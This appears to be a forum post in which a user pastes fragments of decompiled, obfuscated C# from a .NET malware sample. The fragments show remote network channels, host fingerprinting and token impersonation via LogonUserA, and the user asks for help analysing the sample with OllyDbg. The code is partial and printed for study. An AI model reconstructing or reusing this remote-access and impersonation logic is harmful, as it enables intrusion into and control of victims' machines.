           [b] this.a(IPAddress.Parse(array[0]), int.Parse(array[1]));[/b]
            return true;
        }
        return base.a(A_0);
    }
   [b] public new void a(IPAddress A_0, int A_1)[/b]
    {
        if (true)
        {
        }
     [b]   UdpClient udpClient = new UdpClient();[/b]
        udpClient.Connect(A_0, A_1);
        base.a(new @as(udpClient, this)
        {
            f = new IPEndPoint(A_0, A_1),
            e = (IPEndPoint)udpClient.get_Client().get_LocalEndPoint()
        });

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
using System;
namespace Shared
{
    [Serializable]
  [b]  public class BasicInfo[/b]
    {
        public int Version
        {
            get;
            set;
        }
[b]        public string HostName[/b]
        {
            get;
            set;
        }
[b]        public string osVersion[/b]
        {
            get;
            set;
        }
        public string tm
        {
            get;
            set;
        }
        public int tz
        {
            get;
            set;
        }
        public override string c()
        {
            int a_ = 13;
            if (true)
            {
            }
[b]            return string.Format(<Module>.a("꿸黺迼賾栀氂欄㴆⤈瀊㴌爎ᬐ嬒稔搖洘㬚匜縞䰠䘢ἤܦ刨ᨪ倬┮縰䀲༴᜶䈸ऺ䀼㔾ᕀ⩂⡄≆獈歊㙌籎ⱐ奒Ŕ㹖㑘㹚ݜぞའ٢彤䝦ቨ彪ၬ", a_), new object[][/b]
            {
               [b] this.Version,
                this.HostName,[/b]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
public class bx
{
    public const int a = -1;
    public const int b = 2;
    public const int c = 4;
    public const int d = 3;
    public const int e = 0;
[b]    public static WindowsImpersonationContext f;[/b]
    [DllImport("ntdll.dll")]
    [b]public static extern void RtlAdjustPrivilege(int A_0, bool A_1, bool A_2, out bool A_3);[/b]
    [DllImport("user32.dll")]
[b]    public static extern IntPtr GetForegroundWindow();[/b]
    [DllImport("user32.dll", SetLastError = true)]
 [b]   public static extern uint GetWindowThreadProcessId(IntPtr A_0, out int A_1);[/b]
    [DllImport("kernel32.dll")]
    public static extern bool AttachConsole(int A_0);
    [DllImport("kernel32.dll")]
    [b]private static extern long GetVolumeInformation(string A_0, StringBuilder A_1, uint A_2, ref uint A_3, ref uint A_4, ref uint A_5, StringBuilder A_6, uint A_7);[/b]
    public static uint c()
    {
        int a_ = 14;
        if (true)
        {
        }
        uint result = 0u;
        uint num = 0u;
        StringBuilder stringBuilder = new StringBuilder(256);
        uint num2 = 0u;
        StringBuilder stringBuilder2 = new StringBuilder(256);
     [b]   string a_2 = Environment.get_SystemDirectory().Substring(0, 1) + <Module>.a("샹ꃻ", a_);[/b]
        bx.GetVolumeInformation(a_2, stringBuilder, (uint)stringBuilder.get_Capacity(), ref result, ref num, ref num2, stringBuilder2, (uint)stringBuilder2.get_Capacity());
        return result;
    }
    public static uint b()
    {
        uint num;
        char c;
        while (true)
        {
            num = bx.c();
            c = 'L';
  [b]          string machineName = Environment.get_MachineName();[/b]
            int num2 = 0;
            if (true)
            {
            }
            int num3 = 0;
            while (true)
            {
                switch (num3)
                {
                case 0:
                    goto IL_43;
                case 1:
                    goto IL_64;
                case 2:
                {
                    if (num2 >= machineName.get_Length())
                    {
                        num3 = 1;
                        continue;
                    }
                  [b]  char c2 = machineName.get_Chars(num2);[/b]
                    c ^= c2;
                    num2++;
                    num3 = 3;
                    continue;
                }
                case 3:
                    goto IL_43;
                }
                break;
                IL_43:
                num3 = 2;
            }
        }
        IL_64:
        byte b = (byte)c;
        uint num4 = (uint)b + (uint)b * 256u + (uint)b * 65536u + (uint)b * 16777216u;
        return num ^ num4;
    }
    [DllImport("user32.dll")][b]
    public static extern IntPtr SendMessage(IntPtr A_0, int A_1, int A_2, int A_3);[/b]
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern bool GenerateConsoleCtrlEvent(uint A_0, uint A_1);
    [DllImport("advapi32.dll", SetLastError = true)]
 [b]   public static extern int LogonUserA(string A_0, string A_1, string A_2, int A_3, int A_4, ref IntPtr A_5);[/b]
    [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern int DuplicateToken(IntPtr A_0, int A_1, ref IntPtr A_2);
    [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern bool RevertToSelf();
    [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
    public static extern void Sleep(int A_0);
    [DllImport("kernel32.dll", CharSet = CharSet.Auto)]
    public static extern bool CloseHandle(IntPtr A_0);
    public static bool a(string A_0, string A_1, string A_2)
    {
        int a_ = 18;
        IntPtr zero;
        IntPtr zero2;
        while (true)
        {
            zero = IntPtr.Zero;
            zero2 = IntPtr.Zero;
            int num = 15;
            while (true)
            {
                switch (num)
                {
                case 0:
                    goto IL_1C9;
                case 1:
                    bx.CloseHandle(zero2);
                    num = 0;
                    continue;
                case 2:
                    bx.CloseHandle(zero);
                    num = 3;
                    continue;
                case 3:
                    goto IL_110;
                case 4:
                    goto IL_21E;
                case 5:
                   [b] Trace.WriteLine(<Module>.a("賽旿琁␃椅指", a_));[/b]
                    num = 6;
                    continue;
                case 6:
                    if (bx.LogonUserA(A_0, A_1, A_2, 3, 0, ref zero) != 0)
                    {
                        num = 9;
                        continue;
                    }
                 [b]   Trace.WriteLine(string.Format(<Module>.a("鋽泿朁㸃★猇㨉焋", a_), Marshal.GetLastWin32Error()));[/b]
                    num = 13;
                    continue;
                case 7:
                    if (zero != IntPtr.Zero)
                    {
                        num = 2;
                        continue;
                    }
                    goto IL_110;
                case 8:
                    goto IL_183;
                case 9:
               [b]     Trace.WriteLine(<Module>.a("鋽痿持␃椅指", a_));[/b]
                    num = 10;
                    continue;
                case 10:
                    if (bx.DuplicateToken(zero, 2, ref zero2) != 0)
                    {
                        num = 12;
                        continue;
                    }
                    goto IL_183;
                case 11:
                    if (zero2 != IntPtr.Zero)
                    {
                        num = 1;
                        continue;
                    }
                    return false;
                case 12:
                {
                    if (true)
                    {
                    }
                    WindowsIdentity windowsIdentity = new WindowsIdentity(zero2);
                    bx.f = windowsIdentity.Impersonate();
                    num = 14;
                    continue;
                }
                case 13:
                    goto IL_183;
                case 14:
                    if (bx.f != null)
                    {
                        num = 4;
                        continue;
                    }
                    goto IL_183;
                case 15:
                    if (bx.RevertToSelf())
                    {
                        num = 5;
                        continue;
                    }
                    [b]Trace.WriteLine(string.Format(<Module>.a("賽泿朁㸃★猇㨉焋", a_), Marshal.GetLastWin32Error()));[/b]
                    num = 8;
                    continue;
                }
                break;
                IL_110:
                num = 11;
                continue;
                IL_183:
                num = 7;
            }
        }
        IL_1C9:
        return false;
        IL_21E:
        bx.CloseHandle(zero);
        bx.CloseHandle(zero2);
        return true;
    }
    public static void a()
    {
        bx.f.Undo();
    }
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   
[b] public ca(IPAddress A_0, int A_1)[/b]
    {
        this.b = A_0;
        this.c = A_1;
       [b] this.a = new TcpListener(this.b, this.c);[/b]
    }
    public void a()
    {
        if (true)
        {
        }
        this.a.set_ExclusiveAddressUse(false);
       [b] this.a.get_Server().SetSocketOption(65535, 4, 1); <-- shit looks like a port scan[/b]
        this.a.Start();
        this.e = true;
        this.a.BeginAcceptTcpClient(new AsyncCallback(ca.a), this);
    }

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    private void a(object A_0, UnhandledExceptionEventArgs A_1)
        {
            int a_ = 6;
    [b]        Console.WriteLine(<Module>.a("뿱鯳鋵\ud8f7黹鏻鏽㫿∁", a_) + A_1.ToString());[/b]
        }
        private Assembly a(object A_0, ResolveEventArgs A_1)
        {
            int a_ = 11;
            while (true)
            {
                int num = 60000;
                int num2 = 0;
              [b]  A_1.get_Name().Substring(0, A_1.get_Name().IndexOf(',')) + <Module>.a("\ud9f6鷸韺釼", a_);[/b]
                int num3 = 2;
                while (true)
                {
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    public class [b]MyFileInfo[/b]
    {
   [b]     public string name;
        public string fullName;[/b]
        public long size;
[b]        public DateTime createdTime;
        public DateTime lastModifyTime;
        public string storName;
        public MyFileInfo()[/b]
        {

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
using Shared;
using System;
using System.Net.Sockets;
public class r : z
{
[b]    private new TcpClient a;[/b]
    private new NetworkStream b;
    private new string c;
    private new int d;
    private byte[] e;
[b]    public r(RcSession A_0, a7 A_1, TcpClient A_2, string A_3, int A_4) : base(A_0, A_1)[/b]
    {
        this.a = A_2;
        this.c = A_3;
        this.d = A_4;
    }
    public override bool a()
    {
        if (true)
        {
        }
      [b]  this.b = this.a.GetStream();[/b]
        this.a(this.c, this.d);
        this.e = new byte[RcChannel.IO_BUFFER_SIZE];
        [b]this.b.BeginRead(this.e, 0, RcChannel.IO_BUFFER_SIZE, new AsyncCallback(this.a), this);[/b]
        return base.a();
    }
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Staff edit: ever heard of god damn code tags?
Kulverstukas <-----SORRRY

File Type:
PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Trying to analyze  a malware filesize 26kb.

Strings shows diff mods/functions or whatever like the following:

get_ProcessName (inlcuding memory position)
get_Processes
Set Domian
Set Username


Saw the following functions above when I decompile it using ILSpy.

Question is locating address on OllyDbg might give some data on the ascii pane right?
anyway, someone could at get a picture  of what im trying to do, Im just reading all codes on ILSpy, which is
helpful , I notice a Dotfuscator dunno if its a method/function but has some info on it. I could post some of my findings here if interested.